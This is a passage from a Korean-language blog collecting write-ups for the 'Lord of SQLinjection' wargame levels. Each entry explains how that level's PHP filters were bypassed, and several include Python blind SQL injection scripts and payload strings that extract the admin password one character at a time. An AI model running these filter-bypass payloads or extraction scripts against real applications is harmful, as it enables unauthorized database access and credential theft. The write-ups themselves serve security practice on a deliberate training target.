pw 파라미터로 들어간 값이 like 뒤에 들어가는 구조다.

SQL 와일드 카드를 이용하여 문제를 풀 수 있을것 처럼 보인다.

그래서 %를 pw파라미터에 넣어주면 Hello guest가 나온다. 그래서 처음엔 어떻게 admin을 출력할지 고민하다가

admin과 guest의 pw가 다르게 되는 순간을 찾자고 생각했다.

한글자씩 찾기 위해 blind sqlinjection을 하듯이 파이썬으로 모든 문자에 대해 인젝션을 하다보니 admin과 guest의 pw가 다른 부분이 나와서 문제를 풀었다.



'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection succubus  (0) 2017.08.04
Lord of SQLinjection zombie_assassin  (0) 2017.08.04
Lord of SQLinjection giant  (0) 2017.08.02
Lord of SQLinjection bugbear  (0) 2017.08.02
Lord of SQLinjection darkknight  (0) 2017.07.30

문제를 보면 단순하게 1234를 select하는 쿼리지만 from과 테이블 명이 붙어있다.

php 코드를 보면 shit파라미터로 입력한 값이 from과 테이블 명 사이에 들어가서 쿼리를 완성한다.

저 부분을 띄어주면 문제는 간단하게 풀릴것으로 보인다.

하지만 필터를 보면 %0a, %0d가 막혀있고 단순 공백도 막혀있다.

그래서 구글을 통해 white space를 bypass 하는 키워드로 검색하니 %0b로 공백을 우회할 수 있다.


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection zombie_assassin  (0) 2017.08.04
Lord of SQLinjection assassin  (0) 2017.08.04
Lord of SQLinjection bugbear  (0) 2017.08.02
Lord of SQLinjection darkknight  (0) 2017.07.30
Lord of SQLinjection golem  (0) 2017.07.30

php 코드를 보면 이전 문제들 보다 필터가 많이 걸려있다.

공백, =, like, 0x가 필터에 걸려있기 때문에 이들을 전부 우회했다.

우선 pw를 구하는 방법은 아래와 같다.

?pw=1&no=1||hex(id)%0anot%0ain%0a(6775657374)%26%26length(pw)in(8)

공백은 %0a, like는 in구문을 사용하였고, 0x가 필터에 걸려있기 때문에 in 구문을 통해 guest를 hex로 변환하여 id가 admin인 칼럼만 추출하도록 했다.


pw 길이를 구했으니 이제 blind sqlinjection으로 pw를 추출한다.

import urllib, urllib2
url = "https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?"
flag = ""

for i in range(1, 9):
        for j in range(33, 128):
                payload = "pw=1&no=1||hex(id)%0anot%0ain%0a(6775657374)%26%26hex(mid(pw,{},1))%0ain%0a({})".format(i, hex(j)[2:])
                print url+payload
                req = urllib2.Request(url+payload)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()

                if "Hello admin" in res:
                        print "[+]Find! : {}".format(chr(j))
                        flag += chr(j)
                        break
print "[+] Flag : {}".format(flag)




'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection assassin  (0) 2017.08.04
Lord of SQLinjection giant  (0) 2017.08.02
Lord of SQLinjection darkknight  (0) 2017.07.30
Lord of SQLinjection golem  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30

문제를 보면 pw, no 파라미터가 있다. 힌트로 나온 php 코드를 보면 pw는 싱글쿼터에 싸여 있고 싱글쿼터는 필터링 처리가 되어있어 공격하기 어려워 보인다. 하지만 no는 쿼터로 싸여 있지 않다. 이 부분에서 공격이 가능하다.

먼저 pw의 길이를 구해야 한다. pw의 길이는 아래와 같이 구한다.

?pw=1&no=1 or id like 0x61646d696e and length(pw) like 8


id의 값을 admin을 하지 않은 이유는 no 파라미터를 통해 들어간 값은 싱글쿼터에 싸여있지 않고, admin은 문자열이기 때문에 mysql에서 문자열은 싱글쿼터에 싸여 있어야지 쿼리로 인식된다. 

따라서 admin을 hex로 변환한 0x61646d696e를 사용했다.


pw의 길이를 구했으니 pw의 값을 blind sql injection을 통해 알아내보자.

아래는 blind sql injection을 위한 코드다.

import urllib, urllib2
url = "http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?"
flag = ""

for i in range(1, 9):
        for j in range(31, 128):
                dat = {'pw': '1',
                       'no': "1 or id like 0x61646d696e and ord(mid(pw,{},1)) like {}".format(i, j)}
                dat = urllib.urlencode(dat)
                print url+dat
                req = urllib2.Request(url+dat)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()

                if "Hello admin" in res:
                        print "[+]Find! : {}".format(chr(j))
                        flag += chr(j)
                        break
print "[+] Flag : {}".format(flag)


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection giant  (0) 2017.08.02
Lord of SQLinjection bugbear  (0) 2017.08.02
Lord of SQLinjection golem  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30
Lord of SQLinjection vampire  (0) 2017.07.25

인젝션을 통해 admin의 비밀번호를 알아내어 pw에 넣으면 풀리는 문제다. =이 필터에 걸려 있기 때문에 like를 사용하여 풀 수 있다.

먼저 비밀번호의 길이를 구해야 한다. 비밀번호의 길이는 아래와 같이 구했다.

?pw=1%27||ascii(id)-103%26%26length(pw)%20like%20%278
pw가 8자리라는 것을 알았다. 이젠 blind sql injection을 통해 비밀번호를 따면 된다.

import urllib, urllib2

flag = ""
for i in range(1,9):
        for j in range(33, 128):
                url = "http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?"
                url += "pw=1%27||ascii(id)-103%26%26ascii(mid(pw,{},1))%20like%20%27{}".format(i, j)
                print url 
                req = urllib2.Request(url)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=d4cc8c809fqewr27de6749e5eaa6r3e1f1500957474; PHPSESSID=498O4fb9opfr78vauqu88eq611')

                res = urllib2.urlopen(req).read()

                if "Hello admin" in res:
                        print "[+] Find! : " + chr(j)
                        flag += chr(j)
                        break
print "[+] Find Flag! : " + flag


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection bugbear  (0) 2017.08.02
Lord of SQLinjection darkknight  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30
Lord of SQLinjection vampire  (0) 2017.07.25
Lord of SQLinjection Troll  (0) 2017.07.25


문제에 제시된 쿼리를 보면 pw 다음에 and 1=0이 나온다. 
pw를 제대로 입력해도 false가 나오게 된다. 
그래서 필터를 보기 위해 php 코드를 보면 싱글쿼터는 막히지 않았다. 그래서 그냥 간단하게 pw에 ' or id='admin#을 해주면 문제가 풀린다.


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection darkknight  (0) 2017.07.30
Lord of SQLinjection golem  (0) 2017.07.30
Lord of SQLinjection vampire  (0) 2017.07.25
Lord of SQLinjection Troll  (0) 2017.07.25
Lord of SQLinjection orge  (0) 2017.07.25


전 문제와 유사하다. 하지만 이번엔 str_replace함수를 통해 admin을 없는 문자로 치환해주는 방법으로 admin에 필터를 걸었다.

하지만 이것도 마찬가지로 대소문자를 구분하지 않기때문에 간단하게 대문자로 집어넣으면 injection이 된다.


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection golem  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30
Lord of SQLinjection Troll  (0) 2017.07.25
Lord of SQLinjection orge  (0) 2017.07.25
Lord of SQLinjection Darkelf  (0) 2017.07.25

문제 필터를 보면 싱글쿼터를 preg_match로 막고 있고, admin이란 문자를 ereg함수를 통해 정규표현식으로 검사한다.

이 문제는 왜 admin만 ereg함수를 통해 검사하는지 고민하다가 preg_match에서는 대소문자도 구분하도록 하였으나 ereg에선 대소문자를 구분하지 않는다 따라서 이 부분에서 취약점이 발생한다. 

mysql에선 대소문자를 구분하지 않으므로 admin에서 한글자만 대문자로 바꿔도 필터를 우회하여 injection을 할 수 있다.


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection skeleton  (0) 2017.07.30
Lord of SQLinjection vampire  (0) 2017.07.25
Lord of SQLinjection orge  (0) 2017.07.25
Lord of SQLinjection Darkelf  (0) 2017.07.25
Lord of SQLinejction wolfman  (0) 2017.07.25


pw 길이 : %27||ascii(id)-103%26%26length(pw)=8%23

tip : &는 get으로 보낼때 urlencoding을 하지 않으면 파라미터 연산자인줄 알고 &뒤에 온 값을 파라미터값으로 인식한다.


import urllib, urllib2

url = "http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw="
result = ""
for i in range(1, 9):
        for j in range(33,127):
                payload = "%27||ascii(id)-103%26%26if(ascii(substr(pw,{},1))={},1,1=2)%23".format(i, j)
                testurl = url + payload
                print testurl
                req = urllib2.Request(testurl)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=d4cc8c809fb82627de6749e5eaac73e1f1500957474; PHPSESSID=498v4fb9opfr78vauqu83eq635')
                res = urllib2.urlopen(req).read()
                if "Hello admin" in res:
                        print "[*]Find!"
                        result += chr(j)
                        break
print "[+]FIND FLAG! : {}".format(result)

'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection vampire  (0) 2017.07.25
Lord of SQLinjection Troll  (0) 2017.07.25
Lord of SQLinjection Darkelf  (0) 2017.07.25
Lord of SQLinejction wolfman  (0) 2017.07.25
Lord of SQLinjection orc  (0) 2017.07.25

필터링을 보면 or과 and가 막혀있다. 하지만 전 문제와 마찬가지로 or, and 대신 | 와 &를 사용하면 가볍게 필터를 우회할 수 있다.


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection Troll  (0) 2017.07.25
Lord of SQLinjection orge  (0) 2017.07.25
Lord of SQLinejction wolfman  (0) 2017.07.25
Lord of SQLinjection orc  (0) 2017.07.25
Lord of SQLinjection goblin  (0) 2017.07.25

+ Recent posts